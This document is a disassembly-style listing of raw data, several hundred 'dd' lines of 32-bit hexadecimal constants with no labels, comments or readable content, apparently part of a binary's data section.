dd 0B5E802C6h, 0A1E3A3EDh, 71D74F00h, 43089FFAh, 697FC2h
dd 0FD3BBD61h, 48931B46h, 0AF1FB300h, 0CAEA9C0Ah, 4B950023h
dd 0C941F02Ah, 300090E2h, 3CD92D75h, 1E5B0889h, 433BCA36h
dd 1CCB457Ah, 4CF6F5C8h, 0BDE16A00h, 6CCCB102h, 0E7FD00CFh
dd 521E90E3h, 6600F5DBh, 0B2C0A64h, 77F63BCBh, 809D6001h
dd 0C87724FFh, 5286660Ch, 75766078h, 0B381CFC1h, 6FBAF5E0h
dd 2A00B688h, 0C68DD394h, 1C73D945h, 0C1C3F0F7h, 0EFB46FF4h
dd 0E48CC21h, 0B8A8C41Dh, 47B51E00h, 9B7E05h, 740B46D9h
dd 91327B3Eh, 498D8900h, 4C65609h, 841000B3h, 0AD3E759Fh
dd 0FD19E717h, 9D411552h, 420EE8h, 0D09A8F93h, 453FDBFEh
dd 0E0A07EE6h, 4A00A344h, 0E04BFD91h, 724BEABh, 0EC4D45BBh
dd 6B189355h, 3CAC000h, 0CB3994FBh, 0D245003Eh, 0DC9DF014h
dd 0EF3FB9B2h, 33FA806Fh, 0DE9E776Bh, 0DF0E007Ch, 4E28DA80h
dd 8C006246h, 0C67AFCC3h, 48BFED05h, 7F03C803h, 1D27FD78h
dd 95ADE000h, 5648649Eh, 9F6601C9h, 0F916D599h, 2D208087h
dd 0BD5996BAh, 0CB350AF6h, 3CE6D05Ch, 718C0D87h, 4EE7B07Bh
dd 1D00F241h, 467A9BB1h, 652B48h, 7330EE38h, 4157033Ch
dd 250E6D77h, 2090AC6Bh, 82928AFh, 0ECCD00E5h, 10C1FC69h
dd 1612E8CFh, 178Ch, 4E35B560h, 66E30096h, 0B322A1CEh
dd 7403F27Eh, 88F128AAh, 70ECE0B4h, 3CFFC4Ch, 72900305h
dd 28E0A236h, 5200FABCh, 9DBB5AFDh, 1FBE709h, 2C049417h
dd 0A8653876h, 0F90140C0h, 1B66EC48h, 0A829129Bh, 0D00171B8h
dd 8909602Bh, 55706DF4h, 0EDCB25Bh, 0DA8AD7AAh, 11C89DC1h
dd 77BFC8FEh, 4779FCB9h, 5B00FD18h, 2AE40D3Bh, 2697351h
dd 2F5ECBF4h, 885BAB3Fh, 0E0772C58h, 0F7ABFh, 0EB0226D3h
dd 0B1304759h, 7CED902Ch, 7F1B4103h, 0FF46E06Dh, 236500C4h
dd 0BE20F0C9h, 0B7003EC0h, 7D96FA30h, 42FBC1h, 0F2E5158Dh
dd 0C5366AB8h, 0F8629E1Dh, 0F09AEAC3h, 0FA15D8A2h, 8C460ABAh
dd 71205ED5h, 6B0C1CDBh, 8057281Bh, 541459AEh, 88211D31h
dd 5548879Ah, 8B0E03D7h, 65046FADh, 469D760h, 6A03E707h
dd 0BD0802E5h, 0A0814664h, 9F934827h, 0A2503A88h, 302C3043h
dd 0E0107FEAh, 0A8657CCDh, 7EC520h, 51F8AB1Ch, 539FB3BFh
dd 48FA4733h, 280AA545h, 3C0A18B1h, 34204CDCh, 19DA79CCh
dd 1C43E157h, 1071618Eh, 59F70222h, 1808A250h, 44160481h
dd 0DA047308h, 839D29E3h, 816D7F20h, 6802C8E0h, 961C98F9h
dd 0D06E70D2h, 7D8A0C09h, 736D0A14h, 80813248h, 502DC53Bh
dd 3AE42C20h, 310E8393h, 0C12E0B22h, 28010Ah, 4314B7BBh
dd 1C0D4DA4h, 83D58FFh, 43A1004h, 202445F8h, 2104DC16h
dd 14906BA1h, 1DD6FF2Fh, 80ADFBCBh, 1A042CBAh, 0C53308C3h
dd 908C4165h, 1274CF72h, 43077D49h, 3AD153F0h, 8403926h
dd 59D8FE8Ch, 0B22A19DFh, 0D0B548C7h, 67005177h, 7DEF6C44h
dd 496EFF82h, 0D3019C46h, 9FE39103h, 4010A4D9h, 0B06AF00h
dd 36A0D140h, 48697080h, 636920h, 0ED322A8Eh, 8084227Bh
dd 0D7B3E518h, 0DAB808h, 32F261F6h, 41262B49h, 0D1ABFA0Ch
dd 18D5A946h, 853AD38h, 578B7ACh, 0FE54970Dh, 488CC160h
dd 0B408DAB9h, 0C400F2F0h, 34CF15A6h, 8FBD7Fh, 91D2C211h
dd 44DE5FA5h, 16897000h, 482FF753h, 474A17F0h, 20E4C412h
dd 7DB2BAC4h, 8CCA9028h, 7269880Ch, 1CFFE86Fh, 382FB67h
dd 61986E79h, 414A8907h, 0A087CED3h, 97446040h, 0E359189Eh
dd 0B5BC2843h, 0F0CF8480h, 813F32BFh, 84802DC1h, 0D95E4655h
dd 0E5974500h, 0EC960F5Ah, 815D0682h, 685FBF47h, 2C137080h
dd 0D875B9E8h, 17B40A03h, 0C71E1643h, 0C8918403h, 3D8F1BF7h
dd 9F3F7D4Ch, 0EB262060h, 0D03CA06Ch, 0A7A16127h, 0B0425499h
dd 0A10C40A3h, 16F8ACh, 9FE1B2E7h, 0DBECAE26h, 2CF75502h
dd 49B37D43h, 0A85CAB54h, 1E54F0A0h, 3A8B673Bh, 57EC3288h
dd 0C1F7FE8Ch, 0BB150555h, 281A1E09h, 0C443B8B8h, 89E69C22h
dd 7900B974h, 617AE28Bh, 399FBF52h, 0F9001375h, 0B955EB60h
dd 5DE67DAEh, 87D10713h, 2FC05040h, 2882EF1Ch, 7F4B26Dh
dd 9C13AE25h, 31ADC124h, 0A1A0DC81h, 0D5281DF0h, 5F3E9079h
dd 2F5800FDh, 0BBC40643h, 0C6140CD9h, 0D1209EEAh, 3502349h
dd 9333545Eh, 3DC82410h, 531908BCh, 9488B820h, 0E9C0C8D0h
dd 658A8F57h, 82B6054Ch
dd 0C3325088h, 0EBA1F6C9h, 0FE80D074h, 14D183Eh, 571835Eh
dd 34E461B5h, 7B2F032Dh, 0F8FBEEAEh, 50906BF3h, 0B2309381h
dd 0D2033053h, 0BE7C1785h, 20761B78h, 522A05F0h, 11FF9F1Dh
dd 0BA212830h, 30797088h, 0D0683C62h, 3F487E2h, 61A6B748h
dd 86DCDE98h, 600C8CECh, 1603296Eh, 7600B6AAh, 0F57BE8EAh
dd 720EB8Ah, 0B761BC14h, 0D9872602h, 51ACE600h, 37FA2D6Ch
dd 9199EBE8h, 83D2994h, 5BF60C44h, 357989E7h, 0AE9DF81Fh
dd 70075869h, 904CC22Eh, 0FA008C5Ah, 0A766D297h, 40D009h
dd 589FC233h, 2D6EF747h, 0D152B601h, 93F57A66h, 35DBFFCh
dd 0C06AE39h, 9FC8536Dh, 0F41F851Bh, 0E51538C8h, 0C0203A8h
dd 8E6CD6EDh, 0FC9E1471h, 0EE3DB076h, 442822C2h, 90FBEF8h
dd 0B10185C0h, 439DBA3Bh, 0E46C0060h, 7A0A2A44h, 0FC0094E6h
dd 0B114230Bh, 0E0FDE6C6h, 2684A8A5h, 0AF10CABBh, 22DE8094h
dd 57B13C14h, 81ED9730h, 0C344208h, 0B7C2860Eh, 0BA0385B9h
dd 508C826Eh, 6C110079h, 64DC588h, 8F24B99Eh, 9F872041h
dd 0C1CFACDDh, 9D17DF6Ah, 0F0F0CDE1h, 65850225h, 0E8F3387h
dd 9835C88Fh, 801773Eh, 0FD5455A9h, 873AE433h, 270051D3h
dd 0BC78A073h, 0C42E008Eh, 427940Eh, 6900C2E9h, 70837C8Fh
dd 54B95C16h, 6509082h, 2FCA3424h, 320049CBh, 0AFD02163h
dd 0DDA8EAh, 9C097453h, 4A5ADF7Ah, 33BC9F00h, 1EF9588Eh
dd 0D8270C6Bh, 2E51FA30h, 1D9E0300h, 6D7B0550h, 510F3834h
dd 5721C07Bh, 7FBCF0C3h, 87CAE00h, 78E2364Bh, 75E41E29h
dd 24494086h, 0A389F93Eh, 94055507h, 743AA764h, 84CF803Fh
dd 0E691B230h, 8A492AE8h, 3AC13BD4h, 5C6FF587h, 103F0735h
dd 13CBC9F2h, 150C8700h, 61056548h, 6EEC028Ah, 0E578A753h
dd 0D85DE8A2h, 38270048h, 0ED5A8D07h, 4E0021F2h, 24EAEE8Bh
dd 8034DBC5h, 0B34BA249h, 7A143B39h, 701BC7h, 28ABBD6h
dd 563359h, 12F4B23Fh, 871C8245h, 0DF344E01h, 0B10C2E77h
dd 1F966E4h, 0E93F3B7Bh, 0D430B6F3h, 737A0B19h, 0CCE47800h
dd 8B0579C9h, 0D35B00D7h, 0E60F3D68h, 17009A19h, 0EB9FAF26h
dd 64216E3h, 5BF9C7Eh, 6F82954h, 40677488h, 1084E2A3h
dd 11063E47h, 0DC1FD317h, 0BE22A0A8h, 58A42243h, 0F0111342h
dd 512A30DDh, 1CC31Bh, 0E538DF0Ah, 0CF82001h, 3398C207h
dd 0FF00F2B1h, 8A475Dh, 0A1B8730h, 0E5A8263Dh, 0BD76BF01h
dd 7CBC8F0Dh, 0B0101060h, 1B16003Ah, 7B9BC6D0h, 210055B4h
dd 2C2FE6CEh, 5D69D2h, 0C94C6C99h, 46034AEBh, 89448C07h
dd 0F56148D9h, 0EFEB28FAh, 0AB7C80A0h, 263700F3h, 0DB95A749h
dd 0C9003619h, 6772EAC8h, 60DECCh, 7AD4D9Ch, 2EDC8F9Eh
dd 0E971A000h, 1286056Eh, 9B080E66h, 844A51C4h, 8E7600A9h
dd 0F5BB1F3Ah, 0CE261E00h, 9F9D94ACh, 0C2CD00C8h, 44F99742h
dd 0B700936Eh, 6C9BB2FBh, 0FA0F2939h, 365900B5h, 0CF5B95A8h
dd 62508A7Fh, 100073F4h, 8039DE6Eh, 85889Dh, 1D54243Bh
dd 47324AC3h, 0A9A5C000h, 0EAF12FAh, 0D89A63F2h, 8EABB74Fh
dd 0C87EF8F1h, 420378C7h, 6740FE0Fh, 17C800EBh, 0D0F5258Ch
dd 0E718BFC5h, 9CBC0650h, 1CA5715Ch, 0C4E4AD87h, 0C659FD40h
dd 19009024h, 7E47D08Bh, 0F4749A30h, 879D0068h, 0EFBEB106h
dd 0C2000235h, 0B48C292Eh, 0F537BAh, 0B8A351D6h, 0FDF3A104h
dd 1B17E100h, 30DD133h, 347B3D02h, 8E664580h, 0E42DF78Ah
dd 0B7A8B1Dh, 0B48397C0h, 0C58653Eh, 0E70C3062h, 50005C20h
dd 21E02F0Bh, 80FFBEh, 0E87B9CFDh, 0C91269BCh, 0A60FCEF4h
dd 0A0A3EB8Dh, 0BED724EDh, 3CD900E3h, 49DC0653h, 51D2C31h
dd 44804FF3h, 0E74AC7F9h, 1A630086h, 276F60D1h, 0EBE8A66Ch
dd 20CD9C04h, 208150B6h, 7DDC485Eh, 8575BCh, 0B5F5F491h
dd 0A08F3EF2h, 793A7E00h, 0FA9E0B3Ch, 6D591617h, 0C4AF0051h
dd 0F034C171h, 6E0092E6h, 0A9621284h, 22B6554h, 0E591EF0Ah
dd 409EB5h, 4D009F0Bh, 4A1750F9h, 65F2DDh, 0E80184B7h
dd 9DC2366h, 0D62B8205h, 0C8002967h, 0D3ADC6CFh, 55FB000Bh
dd 4951B27h, 0E70F6892h, 0B23BC115h, 0D17A400h, 2460CE72h
dd 609C6Dh, 0C073C32Ch, 0E40019ACh, 933B844Fh, 9A4B5Dh
dd 597220BFh, 0FD2DDFD2h, 7087EC00h, 0C23A5766h, 7CD770Bh
dd 0ABC6DEE0h, 30004905h, 0A320ADDDh, 0FC5CD220h, 647C4C0Fh
dd 91D71Ch, 597729Ah, 631294D1h, 2C608D70h, 7D8BBBh, 4490F7B6h
dd 0B480F093h, 0AD9658h, 0A5C11CB3h, 2026FFh, 0DEA25CCFh
dd 510CE7D5h, 42C46500h, 0C7474D96h, 336F00CCh, 0D90513BAh
dd 9800A866h, 0BC36FA5Ch, 7BD22680h, 88B307A9h, 9E037938h
dd 67F140FDh, 0DE7EB9F3h, 6036CD0Fh, 80342BC5h, 0D0491789h
dd 8DF50774h, 208F832Ch, 58539573h, 0B50099F6h, 8B9276C0h
dd 0FC6CDEBh, 3B72F843h, 0A80DEE41h, 0C899D8BDh, 80203F3Dh
dd 0BC5992EFh, 0E1F61FDh, 0CC93E9CDh, 0F1608CAFh, 0F08A9E0Ah
dd 64B55326h, 0EE3EE401h, 43CC7254h, 0A2BE03BDh, 0B28F94C8h
dd 96DB8E90h, 587DFF00h, 5D6FAF2Ah, 0C1111DE6h, 811DC01Ah
dd 0BE9AC3E5h, 0A00377Fh, 0A73F62C0h, 0E2EFFBh, 0FD6BB015h
dd 913A5EC8h, 0BB57C21Dh, 27EB2C0h, 5F92D1h, 0FD696D3Ch
dd 0EE08E4D4h, 0F8011F1Dh, 376BFA42h, 0C135E0E7h, 0BDC90085h
dd 0D4C7CC7Ch, 0BB003165h, 42EDE345h, 15B1F6h, 304D512Ah
dd 0A2A1B9E5h, 8538CA05h, 6C09BB4h, 0F35FB9Fh, 1AB71618h
dd 0E74C20F8h, 7C5F6000h, 94DBB031h, 771300C0h, 0B5768D17h
dd 28C01889h, 79C51F4Dh, 0F088395Bh, 45D70582h, 0D8E14F0Fh
dd 5235CC87h, 0C4777AFEh, 5DF9B000h, 7CB69BE0h, 0FAB53ABAh
dd 0B95EEF83h, 54D886CDh, 8300C74Dh, 14D5B0DFh, 306B5C70h
dd 2B50515Ah, 80003517h, 0E29A4024h, 0FD6383h, 5B6E81C0h
dd 0B3965B3h, 0A833EC00h, 0BAAED6F6h, 1C8751Ch, 0E14FBDF8h
dd 0FF90A669h, 2CA02093h, 0C9003099h, 2ADC432Eh, 17F993h
dd 466308D0h, 7B44A695h, 0A400C876h, 0A843C4Dh, 5CE3559Fh
dd 3D052E61h, 43B15BE7h, 679C19D8h, 8655F2E8h, 0EA1B0D00h
dd 0D247F503h, 9B323C06h, 0ED565980h, 0EF7B57E5h, 4D53C300h
dd 19F66170h, 8CF31CF8h, 0D4559F2Eh, 0C600D2BEh, 0F40BE322h
dd 7500EDC5h, 548656C2h, 0E78C987h, 0F1952E08h, 0E66B0FA0h
dd 0EA007412h, 3EB5DA10h, 1F2CE198h, 80491839h, 885D1103h
dd 0C03943C7h, 0F5D093D6h, 2216CB00h, 0ECAF9792h, 0DE930784h
dd 301E4F82h, 0AE692E9Fh, 5E41070Fh, 0B8FA80F6h, 0FA16A48h
dd 727725FBh, 440243A0h, 0DE0018B5h, 0B2BC3C7Fh, 1FC36E17h
dd 40A25727h, 0FE3DEA25h, 99003FDFh, 736677EEh, 1EDE51E8h
dd 801345E9h, 0FE118A1Dh, 7074B57h, 8942493Fh, 90011663h
dd 2EEF31Ch, 2AF5656Dh, 0A8804E9Fh, 2DB36160h, 0B209E31Ch
dd 0B5D5900h, 1C5F0ACFh, 0CCAC5Ah, 58635625h, 0F1006BC9h
dd 0E6BD839Fh, 5F3C35h, 4A50BC32h, 0F0214F3Ah, 0B534DA00h
dd 175B15EAh, 0D5AF077Dh, 20073B93h, 0A5CABB5Ch, 7716A2FEh
dd 0D8004F9Ch, 0B21E8AB3h, 2DEECBh, 0FA5F8CF6h, 45D66261h
dd 71D24200h, 0E154A79Bh, 9ACA00B8h, 5D10FBC0h, 0ED075EFDh
dd 656657A0h, 8AE0F590h, 5A4D0052h, 0FF6E5DC8h, 69009918h
dd 0C251593Dh, 39BAB06Fh, 0BB00E6C6h, 7914EFD3h, 28C037C5h
dd 0E0922A7Bh
dd 0E1413D30h, 0BF00405Ch, 0B6E855FEh, 0C0C07886h, 0ECC2984Ch
dd 0D9640072h, 7FED2F80h, 5D0081A2h, 896FE1F3h, 1684B11Ah
dd 5048EE2h, 0C0649206h, 0DF2EC6DAh, 5CCADB00h, 0C5686294h
dd 0DEA800FEh, 0F981175Dh, 0AB01D77Dh, 0DE73E7Eh, 0C8405895h
dd 12551664h, 0ABAC6B0h, 1CC9D5Dh, 0B59A2D6Bh, 0A5118078h
dd 5926C901h, 321E0619h, 9E399C3Ah, 0D73F9600h, 5E933452h
dd 0C58600DCh, 25D5EE4Ch, 0CEF276FDh, 0F5A32C00h, 4F1E401Ch
dd 18504C27h, 0C01ABE00h, 0EC748935h, 1F15AF00h, 3DC2BC0Dh
dd 0B46E00FDh, 7343FEBEh, 53FBD35h, 0A16C02CCh, 60E3F186h
dd 16D9DD08h, 1FCEE242h, 1F7F4AABh, 41301E4h, 0CC0DB3D2h
dd 0D800FA07h, 0D7022B3Fh, 0B69454h, 7D7F9B8Dh, 8B42BD23h
dd 805FE03Ah, 0B01D5729h, 21C917h, 19C65215h, 8AA7A416h
dd 12B9DD00h, 53406F07h, 723600D6h, 0BA657317h, 0D07C326Bh
dd 26AC9018h, 0F1F5228h, 48AFD551h, 6FC1A420h, 0C476F287h
dd 38210600h, 0EB523069h, 745700E7h, 2A8456Eh, 0F21C9420h
dd 0D0C09F9Eh, 66ABD514h, 0AF5900EEh, 127AEF3Fh, 0A30FD2DFh
dd 8A10F5C1h, 0CD00E8AAh, 48D30107h, 6EA20E2Ch, 6083D88Ch
dd 2029AD33h, 0D00F8A7h, 5404EBA6h, 786400B5h, 0B7E0F42Ah
dd 0EE00CC40h, 0BBB695CAh, 98A9459Ch, 9AF0408h, 809F6A72h
dd 2B799B04h, 0B5BC3A0Eh, 2959E037h, 16F9539h, 27FDA9FEh
dd 0DC2C6594h, 0E71D17C7h, 0F8C33D2Bh, 909BF5BCh, 608D1F9Ch
dd 0AFDF3423h, 0B40038F2h, 0ABDCC23Fh, 56DD3FFh, 96BCFA86h
dd 4BEE00A1h, 78E1DA68h, 8722AE13h, 0D6FA2603h, 5D90039Bh
dd 0CD7C6093h, 0F251D4D0h, 75565A00h, 503EB154h, 189D269Ah
dd 0C2F40470h, 0A808800Ch, 90751FE0h, 0C720CA00h, 0B74BC31h
dd 9D7E0CEh, 45C9D482h, 70610000h, 0D030EF6Dh, 0C79D2130h
dd 414B0738h, 221D0611h, 0DD3454h, 70E94CF6h, 8DDE0380h
dd 0E7D61392h, 6B4EB8E8h, 43748498h, 0A704312Ch, 35CFE100h
dd 36E18ECh, 0ABB2626Ch, 0F7F2A23Eh, 20C00C62h, 46F0DA98h
dd 0C42D8907h, 97B0380Fh, 3F6336A9h, 4A006987h, 1CE346ABh
dd 130040D6h, 0C83E600Ah, 2CCDD9Ah, 8BDCEF59h, 0F9609927h
dd 29264662h, 861F1344h, 2F82F3C0h, 718F19F1h, 0C75E00A4h
dd 1BEFFE4h, 1B0076D5h, 53270448h, 3FB8B7CBh, 7B9F0B18h
dd 430940F8h, 0C398C5D5h, 0FD3E2E00h, 7467EAFEh, 0F85F2E8Fh
dd 0EDBC00FCh, 0E4499D80h, 0D7FFEF00h, 0F5D5E189h, 7FEA0C7Bh
dd 0D3E0AB6Eh, 0C0261D1Fh, 503DAF80h, 83570Bh, 955E42F2h
dd 2E5D8636h, 0F94DAD04h, 8B80288Ah, 614AFFEEh, 764B50A6h
dd 63B2EC42h, 18FD5539h, 996126B8h, 0BB7200D8h, 3C79D907h
dd 0D500E987h, 96E4112Bh, 0F2DC9Bh, 0AB8B41F0h, 0FF9880EEh
dd 80C42C3Ah, 3991EB7Ch, 0A643C9h, 11D55AB9h, 75EB28Fh
dd 0BAB31B07h, 2A10940Ch, 7174114h, 54B144DCh, 97FC08Ah
dd 7401393Eh, 48E5C96Dh, 10813861h, 547A9A05h, 8A5AD460h
dd 7C507D7Bh, 2C001690h, 8CC3D0CCh, 0EABCDC0Ch, 11910099h
dd 1645AA66h, 2601DFFFh, 7E1B4FB0h, 98806DFBh, 30B1B684h
dd 0C4000142h, 0BD10932Fh, 3E1284Bh, 8E558B0Fh, 0BC98C913h
dd 0AD0027E8h, 2397DBBEh, 760FEF7Ah, 1B8500B6h, 4792E64Ah
dd 0A400F55Dh, 0B053EAA1h, 2EC6CA6Eh, 59A0C5h, 65BC35BBh
dd 1D00A6DEh, 0F1204582h, 33340CCh, 0FE7FF8C8h, 1A83CF9Dh
dd 0D5B290F7h, 0E00F2D4h, 745B5846h, 0E6E3CA2h, 61D6295Dh
dd 5A49A407h, 0A65103E8h, 79C05CE8h, 0B20205F9h, 82D93865h
dd 0B8DE4016h, 73D3009Fh, 92F36D13h, 0EC3E3EFBh, 0BBD4040Eh
dd 0D1800C2Eh, 0E8D41AFh, 0A84B25A3h, 8091B180h, 260277Fh
dd 9CE16F20h, 49483A24h, 0D4858A00h, 9A470F7h, 844A0800h
dd 33C3A1AEh, 4C7A002Ch, 9FEE4E1Ah, 6F001789h, 14C20E52h
dd 3107903h, 0D6BA4955h, 24C84070h, 40CFF102h, 0E700BD93h
dd 0A66C29FFh, 341101CAh, 0B07A63BDh, 57AEE8A3h, 683E6A00h
dd 78225B6Bh, 189017FFh, 17B0AC89h, 4D06AE70h, 10914Dh
dd 0CD28867Eh, 0CB138F6Eh, 4AFBC200h, 4C5D1449h, 0DBA800F2h
dd 0E19D409Ah, 641C427Eh, 34C01084h, 82265E2Eh, 77BE002Bh
dd 0A8D654B9h, 0F807A744h, 0A1437694h, 5E2C1100h, 20D8004Ch
dd 0E3D09286h, 6A60E568h, 1584A80Eh, 97FAA4h, 0D545D3CFh
dd 7EFA61AEh, 4EE4D4E1h, 5BD46A00h, 25B3342Bh, 0D5A1019Bh
dd 4223B656h, 0F3A7C713h, 83F024BFh, 300081BBh, 8CA28E48h
dd 0B04AEBh, 31E4F49Dh, 4EE5021Ah, 0D8C32301h, 2C46EF57h
dd 0C210D0h, 0C69C9197h, 0C0390414h, 0F0F67103h, 88010384h
dd 85BCD9h, 9194E80Eh, 563193D7h, 806CBB39h, 9D73B517h
dd 38E29C45h, 0A887B0C9h, 20F0AC2Dh, 0B78B9267h, 0BB43D900h
dd 0B1FE72E3h, 91950021h, 87821BCBh, 0DF60C764h, 6D2C4C70h
dd 0DD0C0116h, 88CEAD48h, 0FDB52031h, 84B60200h, 0D62C10CAh
dd 0AA8000BFh, 0FC73BB0Eh, 0A7011FF8h, 7EF5050Bh, 8DD05832h
dd 108E3C4Bh, 15C4A40Ch, 70F0A60h, 0C060DBE6h, 0F2ED67D1h
dd 44FD0EE7h, 0EC60FFFAh, 0EBF9373Dh, 65FC1A4Fh, 8170A230h
dd 0EF712408h, 0AF784301h, 748D4A5Dh, 0A61D9C55h, 0B1D35780h
dd 78A0D9h, 0CAEC9395h, 209E2453h, 17113B01h, 5B5740E0h
dd 2C25B8F4h, 3B4FB45Fh, 804D671Ch, 8F532DE9h, 8D00146Fh
dd 47F857A6h, 0FCC3B7h, 0CE5977F2h, 1C3BF7B3h, 9B0971EEh
dd 0A605AFh, 41F5DF0Ah, 6AC03FAEh, 0E2D36600h, 0ED215061h
dd 11297D00h, 49D6275Dh, 0B200019h, 0B3DABED4h, 0F90177B8h
dd 0DD07F098h, 9660A3A1h, 0C4FD003Ch, 0A5D9E35Bh, 1F7E2712h
dd 14BB651Dh, 0C1FE7647h, 0A78A4FB1h, 293A30h, 213FDEE0h
dd 54B5E362h, 0C4741901h, 0D2DD44E7h, 0B0CBF0h, 0C5D1CAEAh
dd 0FE08F959h, 5803B998h, 0BD6142C4h, 0B8818C5Ah, 6FE44826h
dd 3209001Eh, 0F06A070Ch, 9800703Bh, 4DC4A65Bh, 35719ADh
dd 0EA4F8EE5h, 0D9901FF1h, 0ED006537h, 88038C92h, 40BE75h
dd 0AD51A71Ah, 6EC577D4h, 1E3FD100h, 75C7B244h, 0A40128E9h
dd 4D3C44F0h, 734ABE0Fh, 0DA7FC7B7h, 87EB8272h, 3974F3B9h
dd 0B337AC80h, 122A0079h, 0C3418FBBh, 0E5B05E78h, 6C3615Ch
dd 0F965BED8h, 711800B8h, 2D54EA91h, 281E77B6h, 3000D193h
dd 412FFFFBh, 46091E0Dh, 0CABB00CEh, 0A065FD0Eh, 0AE8DE0Ch
dd 7E7475h, 0E4240F83h, 99926EFCh, 0B4AB4600h, 208ED30Ch
dd 9477137Eh, 6A340002h, 0A9A2D898h, 28BD1D00h, 8B4EF0D5h
dd 5E6200DEh, 97F2B4D9h, 5400E716h, 866C9380h, 922A85h
dd 0FC4CD6A1h, 2E17CC94h, 0BD162402h, 3200AC9h, 18C54BFh
dd 0DFAF583Ch, 0F84F4h, 6DBA5FF1h, 8C54C07Dh, 49F07348h
dd 0D5CB1D14h, 3C100780h, 13E2239Bh, 73429D0Ah, 0B5B8A240h
dd 0F7242B56h, 9100EEA9h, 6036CA3Ah, 0B2EE00B4h, 71B36A6Ch
dd 0BC00E48Bh, 5D95E3C5h, 1E3ECA10h, 0C1215A70h, 501F35AEh
dd 7BC0E6BFh, 17009A72h, 0D78BBE65h, 9883F8ECh, 958801B4h
dd 0DEA1C83Dh, 7CBAFCD6h, 0ECFA1A0Eh, 0A92E006h, 0C250A7h
dd 78B8E1C8h, 0AFE71061h, 0DB8C0200h, 2DEBED7Ah, 879E3995h
dd 7B9BEA7Ch, 3CB000C9h, 0A03D21D3h, 0EB0156BCh, 0B648F0F4h
dd 1DD87C38h, 1CAE8E1h, 52331063h, 0C0DE43BFh, 0F826B4D0h
dd 328034FBh, 0B04890A3h
dd 0AAFD09DBh, 2700730Bh, 8A88E750h, 79192200h, 0C30DD894h
dd 0BFE63Bh, 0F3E4FA97h, 4AB2D45Eh, 20ECD00h, 603ED0FCh
dd 633C167Ch, 0D644402Ch, 7022E480h, 0DE44C71Dh, 4047670Eh
dd 0E9E79E6Ah, 7589C0F4h, 97A96496h, 0AA9F5E18h, 0EE8CBB08h
dd 0B71007A3h, 802A5F47h, 3C20BC63h, 9B6448h, 0FB71D94Bh
dd 251D28h, 19A00482h, 9EC5B299h, 0B71FF702h, 0C063AE0Ch
dd 6E8B2h, 91E47B7Fh, 3104D50Eh, 477AD604h, 0C7C77376h
dd 10408079h, 7D1367h, 0FC08AD15h, 235514E1h, 2124A737h
dd 3E2D90CCh, 0DD1895A8h, 32DF1922h, 0F77C7CA0h, 71A7503h
dd 7984D7h, 35708A41h, 44EFD9FEh, 4AC38B00h, 0FCFBEE22h
dd 0CFE40099h, 65638FC5h, 5100C1C8h, 73641E66h, 0F78E0Ch
dd 1116A2E8h, 0A8CA9B28h, 0BE0F22F4h, 80D08D60h, 0CF1D1574h
dd 284A1DD7h, 0D2F20002h, 0EEE33633h, 10C46D00h, 0A7D45C9Bh
dd 0E456073Fh, 4F6B835Dh, 0B45821C0h, 1B1DB5D8h, 0D070AC8Fh
dd 67C1ECh, 0B9FF8D54h, 3834893Dh, 96BE4503h, 0A08B10CBh
dd 3C152F3Eh, 0F460C3BDh, 46DB3C5Eh, 0F4F36105h, 6C806BA9h
dd 1FD0E16Ah, 28A5D630h, 460D090h, 2C4F8BAh, 82726A0h
dd 34436F0Eh, 2A7E9FA0h, 9C9BEF00h, 0BB05FA1Eh, 0C7758Eh
dd 0E864159Eh, 0F11B2CF8h, 58297764h, 11CA1521h, 9710E798h
dd 0D48028C2h, 27BC88EBh, 0DD4CFC40h, 0E382C050h, 0EF562302h
dd 61E6D000h, 8DAB9B59h, 107F064Fh, 28D93A07h, 29C4E090h
dd 9D44E42Ch, 3B5B4490h, 32366B42h, 27E5E802h, 0D0B9B8F8h
dd 38209628h, 0E7642233h, 2267FC22h, 0F9223903h, 29806032h
dd 0C57F15C2h, 0C931BF00h, 50A31094h, 669900DAh, 0D06CF4CDh
dd 4E0EBBADh, 200E7137h, 3DFDEAC2h, 8B3E00C1h, 52206518h
dd 8E0095E4h, 0B57FD787h, 0F4A72Eh, 263593EEh, 0FAAEB3D3h
dd 5C1C8100h, 30A2C855h, 52430780h, 301F0711h, 7F766CF7h
dd 96FBE407h, 0D906F2Ch, 0B62219h, 8590CD8Dh, 0B7033381h
dd 0EA420600h, 0A7358401h, 0AAA6009Fh, 5B6E691Ah, 4700BA1Dh
dd 0CB2BB5A2h, 5C55C8ECh, 270021EDh, 0CA75053Dh, 0E500DAC7h
dd 5432A0ACh, 6A57D7h, 0DF229710h, 2F3C5D80h, 249A1B0Fh
dd 3A48C0FFh, 99F5Bh, 6C0BAF43h, 3E31BA9Eh, 4030541Eh
dd 0D1915F03h, 4328004Ah, 0AE768A2Bh, 6700F482h, 74B955CBh
dd 45EA08h, 3D5B8BADh, 0EB12EF9h, 0DA7E6918h, 0EC67C488h
dd 684D3A43h, 0AF000ABAh, 2D9355BCh, 5C3A3B2Ah, 0E5350061h
dd 0AC2E91EDh, 802B1C0Dh, 0B6FCC0A6h, 125B9BDAh, 801EC53Bh
dd 43D0569h, 0F2E7937Dh, 0CD990397h, 6E918A34h, 1E51483Ah
dd 9B8090C5h, 0BDDE38EEh, 0AAA81679h, 9EF40062h, 0D92F350Bh
dd 44962603h, 0A89FEB40h, 19E531h, 0E1F9493h, 0E62FE2E1h
dd 0DE01CAE8h, 0A0A744AFh, 63E860DCh, 6F8E1ECDh, 93340BDh
dd 0CE49B301h, 9B45BB2Ch, 0F23AC820h, 2F9900C2h, 3EB27109h
dd 371B0B8Dh, 3A8E4F31h, 9B16DF01h, 7C9F40AFh, 2C00D430h
dd 528C073Dh, 0B86E8h, 1DFB352Fh, 7E87495Ch, 0D60EC100h
dd 0F325FC7Dh, 35F639CEh, 0ECD84A00h, 0A203A639h, 5FA0B000h
dd 0F5C9DE0h, 26F2AFh, 0FC5B32BFh, 0F752E5B5h, 3BC24139h
dd 0BB8A9D77h, 0C01ACA00h, 74F18EBh, 0ADC4A676h, 5550A341h
dd 0BF9FF0DFh, 0D905A557h, 0DB15C9F8h, 7924EC00h, 240A9084h
dd 608909h, 937B64DEh, 340F2FFBh, 4748B6A7h, 3E80D037h
dd 28697806h, 0A090F0F7h, 0B42690h, 9F421ADFh, 7DDEC1DAh
dd 0AC9CE201h, 0F453F77Fh, 9700E0BAh, 0C4A7909Ah, 0AF7F024Fh
dd 8575DB03h, 93662CE5h, 2DEED981h, 1A5CBC0h, 2F3BF1F8h
dd 0D5DA57F0h, 0BA6330FFh, 0F7CFFD03h, 0AB69A743h, 4485E8D1h
